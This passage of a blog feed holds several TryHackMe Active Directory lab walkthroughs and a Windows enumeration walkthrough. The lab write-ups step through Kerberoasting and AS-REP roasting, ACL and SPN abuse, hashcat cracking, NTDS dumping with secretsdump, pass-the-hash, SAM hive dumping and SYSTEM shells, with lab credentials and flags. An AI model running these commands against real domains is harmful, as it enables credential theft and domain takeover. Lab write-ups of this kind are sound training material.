src="https://cdn-images-1.medium.com/max/1024/1*X8lKSIMwPkCFZYzOLZOt5w.png" /></figure><h3>7. BloodHound Analysis Insight</h3><p>After analyzing <strong>ZACHARY_HUNT</strong> in BloodHound:</p><blockquote><em>Identified a privilege path to user </em><strong><em>JERRI_LANCASTER</em></strong></blockquote><h3>8. LDAP Enumeration (Using Valid Creds)</h3><pre>ldapsearch -x -H ldap://ad.thm.local -D &#39;THM\ZACHARY_HUNT&#39; -w &#39;MKO)mko0&#39; \<br>-b &#39;OU=Tier 2,DC=thm,DC=local&#39; &#39;(objectClass=user)&#39; sAMAccountName</pre><h3>Discovery</h3><pre>JERRI_LANCASTER</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m4aXXzHjk3Ksu99d4qUtwA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*t25931GqIgOFFvwXPnFZfA.png" /></figure><h3>9. ACL Abuse (Privilege Escalation Setup)</h3><p>Checking permissions:</p><pre>impacket-dacledit thm.local/ZACHARY_HUNT:&#39;MKO)mko0&#39; -target &#39;JERRI_LANCASTER&#39;</pre><h3>Result</h3><ul><li>ZACHARY_HUNT has:</li><li>WriteOwner</li><li>WriteDACL</li><li>Full control over JERRI_LANCASTER</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G35U_bad_uj4SzKIJGdayw.png" /></figure><h3>10. SPN Manipulation (Targeted Kerberoasting)</h3><p>Assign fake SPN:</p><pre>bloodyAD --host &lt;IP&gt; -d thm.local -u ZACHARY_HUNT -p &#39;MKO)mko0&#39; set object JERRI_LANCASTER servicePrincipalName -v fake/http</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yZ-54htCufrqeVHuULeoZw.png" /></figure><h3>11. Extract Service Ticket</h3><pre>impacket-GetUserSPNs thm.local/ZACHARY_HUNT:&#39;MKO)mko0&#39; -dc-ip &lt;IP&gt; -request -outputfile hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ozUeIqlVd1p8pGARRpWNMA.png" /></figure><h3>12. Crack JERRI_LANCASTER Hash</h3><pre>hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt</pre><h3>Result</h3><pre>JERRI_LANCASTER : lovinlife!</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6z1mpUe9vUkA4593gLm3kQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vx25Rt92Fri5HH_YIFomnA.png" /></figure><h3>13. Initial Access (RDP)</h3><pre>xfreerdp /v:AD.thm.local /u:&#39;JERRI_LANCASTER&#39; /p:&#39;lovinlife!&#39; /dynamic-resolution /clipboard /cert:ignore</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R9ClhRLTtviAR9W60KVQ7A.png" /></figure><h3>14. Post-Exploitation Discovery</h3><p>Inside the system:</p><h3>Found script:</h3><pre>C:\Scripts\syncer.ps1</pre><h3>Script Content Highlights</h3><pre>$username = &quot;SANFORD_DAUGHERTY&quot;<br>$password = &quot;RESET_ASAP123&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*iZh1pK1bm-v2k4_0sHXiPg.png" /></figure><h3>15. SYSTEM Privilege Access</h3><p>Using credentials:</p><pre>impacket-smbexec &#39;THM.LOCAL/SANFORD_DAUGHERTY:RESET_ASAP123@AD.thm.local&#39;</pre><h3>Result</h3><pre>whoami<br>nt authority\system</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*8b1oWKM2ZB1nzED_TPHoqw.png" /></figure><h3>16. Flag Retrieval</h3><p>Navigate to Administrator desktop:</p><pre>dir C:\Users\Administrator\Desktop</pre><p>Read flag:</p><pre>type C:\Users\Administrator\Desktop\flag.txt.txt</pre><h3>Final Flag</h3><pre>THM{INFILTRATION_COMPLETE_OUR_COMMAND_OVER_NETWORK_ASSERTS}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5DnYqIqYqV1PFpCjqZ8JOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*53hW_XGz5s6KFvJdsRGhPw.png" /></figure><h3>Conclusion</h3><p>This lab demonstrates a full <strong>Active Directory attack chain</strong>:</p><h3>Attack Flow Summary</h3><ol><li>Enumeration → Identify AD services</li><li>RID brute → Extract users</li><li>Kerberoasting → Crack initial credentials</li><li>Password spraying → Gain valid accounts</li><li>BloodHound → Identify privilege path</li><li>ACL abuse → Take control of another user</li><li>SPN manipulation → Force Kerberoast</li><li>Credential cracking → Gain RDP access</li><li>Credential discovery → Extract higher privilege account</li><li>SMBExec → SYSTEM access</li><li>Flag retrieval</li></ol><h3>Key Takeaways</h3><ul><li>Weak password reuse enabled lateral movement</li><li>Misconfigured ACLs allowed privilege escalation</li><li>SPN abuse is a powerful AD attack vector</li><li>Proper monitoring of Kerberos and LDAP activity is critical</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32b02724f15e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attacktive Directory — Complete Professional Walkthrough]]></title>
            <link>https://zeroday-security-services.medium.com/attacktive-directory-complete-professional-walkthrough-a1b3b0582229?source=rss-a4de8b01216c------2</link>
            <guid isPermaLink="false">https://medium.com/p/a1b3b0582229</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[ZeroDay-Security-Services]]></dc:creator>
            <pubDate>Mon, 27 Apr 2026 15:09:45 GMT</pubDate>
            <atom:updated>2026-04-27T15:09:45.709Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P9lOJbzKPMjAXsSzej91eA.png" /></figure><h3>Room Overview</h3><p><strong>Attacktive Directory</strong> is a medium-difficulty Active Directory CTF focused on <strong>Kerberos abuse, credential harvesting, SMB enumeration, and domain privilege escalation</strong>. The objective is to compromise a vulnerable Domain Controller and retrieve multiple user flags.</p><h3>1. Initial Reconnaissance</h3><h3>Nmap Scan</h3><pre>nmap -sC -sV &lt;IP&gt;</pre><h3>Key Findings</h3><ul><li>Domain: spookysec.local</li><li>Hostname: AttacktiveDirectory</li><li>System: Windows Domain Controller</li></ul><h3>Important Ports</h3><p>PortService53DNS80IIS Web Server88Kerberos135RPC139/445SMB389LDAP3389RDP3268Global Catalog</p><p>This confirms a <strong>fully functional Active Directory environment</strong>, which is a high-value target since AD manages authentication across enterprise networks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*skPH42dyDK0w9oF8OMv9OA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1PntAxaPgfS5-_Kwuix89g.png" /></figure><h3>2. Host Resolution</h3><pre>echo &quot;&lt;IP&gt; spookysec.local AttacktiveDirectory.spookysec.local&quot; | sudo tee -a /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0MGLNgIS9yBpxTr2ipEONw.png" /></figure><h3>3. User Enumeration via Kerberos</h3><p>Using <strong>Kerbrute</strong>:</p><pre>./kerbrute_linux_amd64 userenum -d spookysec.local --dc &lt;IP&gt; /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt</pre><h3>Valid Users Identified</h3><ul><li>james</li><li>robin</li><li>darkstar</li><li>administrator</li><li>backup</li><li>paradox</li><li>svc-admin</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mxIFAdN4anNPv_04HCuvjg.png" /></figure><h3>4. AS-REP Roasting</h3><p>Attempt to extract hashes from users without pre-authentication:</p><pre>impacket-GetNPUsers spookysec.local/ -no-pass -usersfile usernames.txt -dc-ip &lt;IP&gt; -outputfile hash.txt</pre><h3>Result</h3><pre>svc-admin hash retrieved</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lHzZXbwz4FCSUQdZP5B6IA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EhpuqXzpcsMElrEH2ZdkDg.png" /></figure><h3>5. Hash Cracking</h3><pre>hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt</pre><h3>Cracked Credential</h3><pre>svc-admin : management2005</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8FE-_l16_AgVX6-a2ERE3g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wi50a4Fd98AXYcpQeQjEsA.png" /></figure><h3>6. SMB Enumeration</h3><h3>List Shares</h3><pre>smbclient -L //&lt;IP&gt; -U svc-admin</pre><h3>Accessible Shares</h3><ul><li>ADMIN$</li><li>backup</li><li>C$</li><li>IPC$</li><li>NETLOGON</li><li>SYSVOL</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QVMOT6PsQQ4G_KQsIv2BGQ.png" /></figure><h3>7. Extract Credentials from Share</h3><pre>smbclient //&lt;IP&gt;/backup -U svc-admin</pre><pre>get backup_credentials.txt</pre><h3>Encoded Content</h3><pre>YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sai_XlaeviWuvR6UPt00gw.png" /></figure><h3>Decode</h3><pre>echo &quot;YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw&quot; | base64 -d</pre><h3>Result</h3><pre>backup@spookysec.local : backup2517860</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*XSwQOqW4dLWU6tFNczxekw.png" /></figure><h3>8. Domain Privilege Escalation</h3><p>Using backup account (Domain replication privileges):</p><pre>python3 /opt/impacket/examples/secretsdump.py spookysec.local/backup:backup2517860@&lt;IP&gt;</pre><h3>Result</h3><ul><li>Full NTDS dump obtained</li><li>Includes:</li><li>Administrator NTLM hash</li><li>All domain user hashes</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cRAJ83I-IHwPMpZfEoSbBw.png" /></figure><h3>9. Pass-the-Hash Attack</h3><p>Using Administrator hash:</p><pre>evil-winrm -i &lt;IP&gt; -u Administrator -H &lt;NTLM_HASH&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eM0Sdhx-KYX46UUKQiZrag.png" /></figure><h3>10. Post-Exploitation</h3><h3>Administrator Access Confirmed</h3><pre>whoami</pre><pre>nt authority\system</pre><h3>11. Flag Retrieval</h3><h3>User Flag (svc-admin)</h3><pre>cd C:\Users\svc-admin\Desktop<br>type user.txt.txt</pre><pre>TryHackMe{K3rb3r0s_Pr3_4uth}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sDV1uZXL9zILG28oApMLiQ.png" /></figure><h3>Backup User Flag</h3><pre>cd C:\Users\backup\Desktop<br>type PrivEsc.txt</pre><pre>TryHackMe{B4ckM3UpSc0tty!}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*v3iwekiqvaWdmUV0D-chhA.png" /></figure><h3>Administrator Flag</h3><pre>cd C:\Users\Administrator\Desktop<br>type root.txt</pre><pre>TryHackMe{4ctiveD1rectoryM4st3r}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*NHqdmLHFXnnQn6jrb-ra8Q.png" /></figure><h3>Attack Chain Summary</h3><h3>Full Exploitation Flow</h3><ol><li>Nmap scan → Identify Domain Controller</li><li>Kerbrute → Enumerate valid users</li><li>AS-REP Roasting → Extract svc-admin hash</li><li>Hashcat → Crack password</li><li>SMB Enumeration → Access backup share</li><li>Credential discovery → backup account</li><li>secretsdump → Dump NTDS</li><li>Pass-the-Hash → Administrator shell</li><li>Retrieve flags</li></ol><h3>Key Concepts Learned</h3><h3>1. Kerberos Attacks</h3><ul><li>AS-REP Roasting → No pre-auth required</li><li>Hash extraction without password</li></ul><h3>2. SMB Enumeration</h3><ul><li>Misconfigured shares expose credentials</li></ul><h3>3. Domain Replication Abuse</h3><ul><li>Backup accounts can dump AD database</li></ul><h3>4. Pass-the-Hash</h3><ul><li>Authentication without plaintext password</li></ul><h3>Security Lessons</h3><ul><li>Disable <strong>Kerberos pre-auth exemptions</strong></li><li>Restrict SMB share access</li><li>Protect backup/service accounts</li><li>Monitor unusual LDAP/Kerberos activity</li><li>Use strong password policies</li></ul><h3>Conclusion</h3><p>This room demonstrates a <strong>realistic Active Directory compromise chain</strong>, starting from <strong>user enumeration</strong> and ending with <strong>Domain Administrator access</strong>.</p><p>It highlights how:</p><ul><li>A single weak configuration (AS-REP enabled user)</li><li>Combined with poor credential hygiene can lead to <strong>complete domain takeover</strong>.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a1b3b0582229" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Traffic Analysis & Credential Extraction]]></title>
            <link>https://zeroday-security-services.medium.com/active-directory-traffic-analysis-credential-extraction-62acb06b37bf?source=rss-a4de8b01216c------2</link>
            <guid isPermaLink="false">https://medium.com/p/62acb06b37bf</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[ZeroDay-Security-Services]]></dc:creator>
            <pubDate>Sat, 25 Apr 2026 19:59:16 GMT</pubDate>
            <atom:updated>2026-04-25T19:59:16.115Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tnPDRgree8Ix5sSkraV4IA.png" /></figure><h3>TryHackMe “Directory” Lab — Writeup</h3><p>This writeup documents a structured, research-focused walkthrough of analyzing captured network traffic within an Active Directory environment. The objective was to identify authentication artifacts, extract credentials, and leverage them to understand attacker behavior within a simulated enterprise domain.</p><h3>Initial Context</h3><p>The analysis was performed on a packet capture file:</p><pre>traffic-1725627206938.pcap</pre><p>The environment reflects a typical Active Directory setup with internal hosts communicating over Kerberos and SMB-based services. The goal was to simulate an attacker’s perspective by passively analyzing traffic rather than actively interacting with the network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*6nkeDnee7sP1_YHE70v7Fw.png" /></figure><h3>Step 1: Traffic Profiling &amp; Source Identification</h3><p>To begin, traffic was analyzed using tshark to identify the most active hosts:</p><pre>tshark -r traffic-1725627206938.pcap -T fields -e ip.src | sort | uniq -c | sort -rn | head</pre><h3>Observation</h3><ul><li>Primary communicating host:</li><li>10.0.2.74 (Attackers IP)</li></ul><p>These internal IP indicate lateral communication within the AD environment. The high packet count suggests authentication or service-level interactions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s1dAyjBwqMPC8gjO8lqXFw.png" /></figure><h3>Step 2: Port &amp; Service Enumeration from Traffic</h3><p>Next, ports involved in communication with the primary target were extracted:</p><pre>tshark -r traffic-1725627206938.pcap -Y &quot;ip.dst == 10.0.2.74 &amp;&amp; tcp.flags.syn == 1 &amp;&amp; tcp.flags.ack == 1&quot; -T fields -e tcp.srcport | sort -n | uniq</pre><h3>Key Findings</h3><p>Common AD-related ports observed:</p><ul><li>88 → Kerberos</li><li>135 → RPC</li><li>389 → LDAP</li><li>445 → SMB</li><li>593 → RPC over HTTP</li></ul><p>This confirms the environment is a Windows Active Directory infrastructure with standard services exposed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9C6qKaDWN67RQ46NwpdCNw.png" /></figure><h3>Step 3: Kerberos Enumeration</h3><p>Kerberos traffic was specifically targeted to extract user-related information:</p><pre>tshark -r traffic-1725627206938.pcap -Y &quot;kerberos.CNameString&quot; -T fields -e kerberos.CNameString | sort | uniq</pre><h3>Extracted Usernames</h3><ul><li>john / d.john</li><li>larry / d.larry</li><li>doe variations (doe, doe.j, doe.john)</li><li>joan / jray / kays</li></ul><p>This indicates multiple user authentication attempts or sessions captured within the network traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x__FS4vUQDN1UCFOG5Yhtg.png" /></figure><h3>Step 4: Identifying AS-REP Responses</h3><p>Kerberos AS-REP messages (type 11) were filtered:</p><pre>tshark -r traffic-1725627206938.pcap -Y &quot;kerberos.msg_type == 11&quot; -T fields -e kerberos.CNameString</pre><h3>Result</h3><pre>larry.doe</pre><p>This is critical.</p><p>An AS-REP response without pre-authentication indicates that the account is vulnerable to <strong>AS-REP Roasting</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-UOWXJqB7DQJ26EZRlPBvQ.png" /></figure><h3>Step 5: Domain Identification</h3><p>To identify the Active Directory domain:</p><pre>tshark -r traffic-1725627206938.pcap -Y &quot;kerberos.CNameString == larry.doe&quot; -T fields -e kerberos.realm | sort | uniq</pre><h3>Result</h3><pre>DIRECTORY.THM</pre><p>This confirms the AD domain context.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s-y1XVXk9MMwx3QR8Fb5Ag.png" /></figure><h3>Step 6: Packet Inspection in Wireshark</h3><p>The PCAP was opened in Wireshark and filtered:</p><pre>kerberos.msg_type == 11</pre><p>Within the packet:</p><ul><li>Protocol: Kerberos v5</li><li>Message Type: AS-REP</li><li>Encryption Type: RC4-HMAC (etype 23)</li></ul><p>The encrypted cipher blob was extracted for offline cracking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*4b0iw99Zf-P8P2cZ0tgzhA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tet_NofDlX78hyiFPbOYWg.png" /></figure><h3>Step 7: AS-REP Hash Extraction</h3><p>The Kerberos hash was formatted into Hashcat-compatible format:</p><pre>$krb5asrep$23$larry.doe@DIRECTORY.THM:&lt;hash&gt;</pre><p>Saved into:</p><pre>hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6sFsdEf92jjyNMnUZHuWTQ.png" /></figure><h3>Step 8: Password Cracking</h3><p>Hashcat was used with mode 18200:</p><pre>hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt</pre><h3>Result</h3><pre>Password1!</pre><p>This confirms weak password usage and validates the AS-REP roasting attack path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VlwOxJpuVyU5efslyeqkRw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sqZ4nI31RBFomcOIULCS9w.png" /></figure><h3>Step 9: NTLM Hash Generation</h3><p>To proceed with authentication-related operations, the NTLM hash was generated:</p><pre>python3 -c &quot;import hashlib,binascii; print(binascii.hexlify(hashlib.new(&#39;md4&#39;, &#39;Password1!&#39;.encode(&#39;utf-16le&#39;)).digest()).decode())&quot;</pre><h3>Output</h3><pre>7facdc498ed1680c4fd1448319a8c04f</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UqjgPTvLI5LYxNAy0rLxGQ.png" /></figure><h3>Step 10: Decrypting WinRM Traffic</h3><p>A custom script was used:</p><pre>python3 decrypt_winrm.py traffic-1725627206938.pcap -n 7facdc498ed1680c4fd1448319a8c04f &gt; output.txt</pre><h3>Outcome</h3><ul><li>Successfully decrypted NTLM-authenticated WinRM traffic</li><li>Extracted PowerShell command execution logs</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NMzdoRmumf5vTbVnsgwHBA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3_4rUl7y0zdsyC0Z0Voxow.png" /></figure><h3>Step 11: Extracting Attacker Commands</h3><p>Encoded commands were extracted and decoded:</p><pre>grep -oP &#39;AAAA[A-Za-z0-9+/]*={0,2}&#39; output.txt | base64 -d &gt; attacker_commands.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*G8zsYFP0X-q8piWw1YOVMQ.png" /></figure><h3>Step 12: Command Analysis</h3><p>Further parsing revealed executed commands:</p><pre>grep -a &#39;N=&quot;V&quot;&#39; attacker_commands.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vvM91nA2_DXYiBU5BPSUjw.png" /></figure><h3>Key Attacker Actions</h3><ul><li>Registry hive dumping:</li></ul><pre>reg save HKLM\SYSTEM C:\SYSTEM<br>reg save HKLM\SAM C:\SAM</pre><ul><li>File operations and environment queries</li><li>Credential harvesting behavior</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*y6CPT5S1Z5hkc-GA5DgNwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*dlaTaSpIJPgBXzSF1w4z5w.png" /></figure><h3>Final Flag</h3><pre>THM{Ya_Got_R0aSt3d!}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*ip4Z2erLfc8xEC7lAydTJA.png" /></figure><h3>Key Takeaways</h3><ul><li>Passive traffic analysis alone can reveal critical AD weaknesses</li><li>AS-REP roasting remains a highly effective attack when pre-authentication is disabled</li><li>Weak passwords significantly reduce attack complexity</li><li>Kerberos traffic is a goldmine for attackers if improperly secured</li><li>Post-compromise activity (WinRM + PowerShell) can be reconstructed through traffic decryption</li></ul><h3>Conclusion</h3><p>This lab demonstrates how an attacker can move from passive reconnaissance to credential compromise and command reconstruction without direct system access. By combining protocol analysis, cryptographic extraction, and offline cracking, a full attack chain can be simulated purely from captured network data.</p><p>From a defensive perspective, enforcing Kerberos pre-authentication, strong password policies, and monitoring unusual Kerberos patterns are critical to mitigating such attacks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=62acb06b37bf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[System Enumeration & Network Reconnaissance: Understanding the Attack Surface]]></title>
            <link>https://zeroday-security-services.medium.com/system-enumeration-network-reconnaissance-understanding-the-attack-surface-d82067018cb8?source=rss-a4de8b01216c------2</link>
            <guid isPermaLink="false">https://medium.com/p/d82067018cb8</guid>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-gathering]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[ZeroDay-Security-Services]]></dc:creator>
            <pubDate>Sat, 25 Apr 2026 13:17:00 GMT</pubDate>
            <atom:updated>2026-04-25T13:17:00.906Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZmwMfBu0PG_xzLjButttAA.png" /></figure><p>When approaching a Windows system during an engagement, the first objective is simple: <strong>understand the environment before interacting with it</strong>.</p><p>This walkthrough focuses on structured <strong>system and network enumeration</strong>, highlighting how much information can be gathered without exploiting a single vulnerability.</p><h3>Starting with Network Identification</h3><p>The first step was to identify the system’s position within the network.</p><pre>ipconfig</pre><p>This revealed the internal addressing scheme:</p><pre>IPv4 Address: 192.168.132.x  <br>Subnet Mask: 255.255.255.0  <br>Default Gateway: 192.168.132.x</pre><p>Even at this stage, we establish:</p><ul><li>The system is part of a private network</li><li>The /24 subnet suggests a typical small-to-medium environment</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*8UzXZTueARjKWkYnGb6KJg.png" /></figure><h3>Verifying System Context</h3><p>Before moving further, I checked system time and environment context.</p><pre>date /t<br>time /t</pre><p>This helps correlate logs later and understand whether the system is actively used or part of a lab environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*auMXzA-lE2giFXjcWpdBuQ.png" /></figure><h3>SMB Activity and Workstation Statistics</h3><p>Next, I inspected workstation-level network statistics.</p><pre>net statistics workstation</pre><p>The output showed:</p><ul><li>Minimal SMB activity</li><li>No read/write operations</li><li>No network errors</li></ul><p>This suggests either a controlled environment or low user interaction at the time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IPgJeLbD7mEWfzSrs2mt7g.png" /></figure><h3>Identifying Logged-in Users</h3><p>Understanding who is actively using the system is critical.</p><pre>PsLoggedon.exe</pre><p>This revealed:</p><pre>Active User: MSEDGEWIN10\IEUser</pre><p>This immediately gives a foothold for:</p><ul><li>User-level targeting</li><li>Credential-based attacks</li><li>Session hijacking (in real environments)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sb_YPoeU9upaEjHxwx55Gg.png" /></figure><h3>Logon Sessions and Authentication Context</h3><p>To go deeper, I enumerated logon sessions.</p><pre>LogonSessions.exe</pre><p>Key observations:</p><ul><li>Authentication: NTLM</li><li>SID: SYSTEM-level context (S-1-5-18)</li><li>No domain controller references</li></ul><p>This confirmed that the system is operating in a <strong>WORKGROUP</strong>, not a domain environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ai3oiIg-iVS-jD36i_z5Mg.png" /></figure><h3>Enumerating Shares and Sessions</h3><p>Next, I checked for shared resources.</p><pre>net share</pre><p>Available shares included:</p><ul><li>ADMIN$</li><li>C$</li><li>D$</li><li>IPC$</li><li>backup</li><li>HR</li><li>public</li></ul><p>The presence of <strong>backup and HR shares</strong> is particularly interesting, as these often contain sensitive data.</p><pre>net session</pre><p>No active sessions were found, indicating no current remote connections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CSkfVkeYrMdoWEguyMXB4w.png" /></figure><h3>Process Enumeration</h3><p>To ensure there were no suspicious processes running:</p><pre>pslist.exe</pre><p>The system showed only standard Windows processes:</p><ul><li>System</li><li>smss</li><li>csrss</li><li>winlogon</li></ul><p>No anomalies were observed, indicating a clean baseline.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZBTQ-6_NuLJw7ASUYiWKnQ.png" /></figure><h3>Network Activity Analysis</h3><p>To understand real-time communication:</p><pre>netstat -e</pre><p>This confirmed:</p><ul><li>Active packet transmission</li><li>No errors or dropped packets</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1da8vURvEngMm11nNlHG-w.png" /></figure><h3>Open Ports and Active Connections</h3><p>A deeper look into network connections:</p><pre>netstat -ano</pre><p>Revealed:</p><ul><li>Port 135 (RPC)</li><li>Port 445 (SMB)</li><li>Dynamic RPC ports</li><li>Active outbound HTTPS connections</li></ul><p>The exposure of <strong>SMB (445)</strong> is always significant, as it is one of the most targeted services in Windows environments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7oOLfF-mNBZrqp38DoieNw.png" /></figure><h3>Routing and Network Structure</h3><p>To map network paths:</p><pre>netstat -r</pre><p>This confirmed:</p><ul><li>Default route via 192.168.132.x</li><li>Local subnet communication</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lkheqcaSlNysuPtWn6aTRg.png" /></figure><h3>External Communication Insight</h3><p>Further inspection of connections showed:</p><ul><li>Multiple outbound HTTPS connections</li><li>States such as ESTABLISHED, TIME_WAIT, CLOSE_WAIT</li></ul><p>This indicates the system is actively communicating with external infrastructure.</p><h3>NetBIOS Enumeration</h3><p>To gather host-level identity:</p><pre>nbtstat -n</pre><p>Findings:</p><ul><li>Hostname: MSEDGEWIN10</li><li>Workgroup: WORKGROUP</li><li>NetBIOS services active</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*16ip7DKdzckinIa3hjEWkw.png" /></figure><h3>Deep Network Configuration</h3><p>For a complete overview:</p><pre>ipconfig /all</pre><p>This revealed:</p><ul><li>Network adapter details</li><li>MAC address</li><li>DHCP configuration</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LOpydauFgnd1aXezXunLLg.png" /></figure><h3>DNS Cache — A Hidden Goldmine</h3><p>One of the most valuable steps in enumeration:</p><pre>ipconfig /displaydns</pre><p>This exposed:</p><pre>icpanel.hackcrack.io → 192.168.132.x</pre><p>This is critical because:</p><ul><li>It reveals previously accessed domains</li><li>It can expose internal or external infrastructure</li><li>It provides pivot points for further investigation</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0QDvcD0MO5kraW6gCZT1Aw.png" /></figure><h3>Clearing DNS Cache</h3><p>To verify control over the system:</p><pre>ipconfig /flushdns<br>ipconfig /displaydns</pre><p>The cache was successfully cleared, confirming command execution and system interaction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cp74PWOgqOCLqtrRV1pxkA.png" /></figure><h3>Key Takeaways</h3><p>This exercise demonstrates that even without exploitation, a large amount of valuable information can be gathered:</p><ul><li>Internal network structure</li><li>Active users</li><li>Shared resources</li><li>Open services</li><li>External communication</li><li>Cached domain intelligence</li></ul><h3>Final Thoughts</h3><p>Enumeration is often underestimated, but in real-world scenarios, it is one of the most critical phases of any engagement.</p><p>The difference between a failed attack and a successful compromise often lies not in exploitation skills — but in how well the attacker understands the environment.</p><p>This walkthrough reinforces a simple principle:</p><p><strong>The more you know about the system, the less you need to guess.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d82067018cb8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Enterprise-THM: Full Active Directory Compromise]]></title>
            <link>https://zeroday-security-services.medium.com/enterprise-thm-full-active-directory-compromise-e2e24194d081?source=rss-a4de8b01216c------2</link>
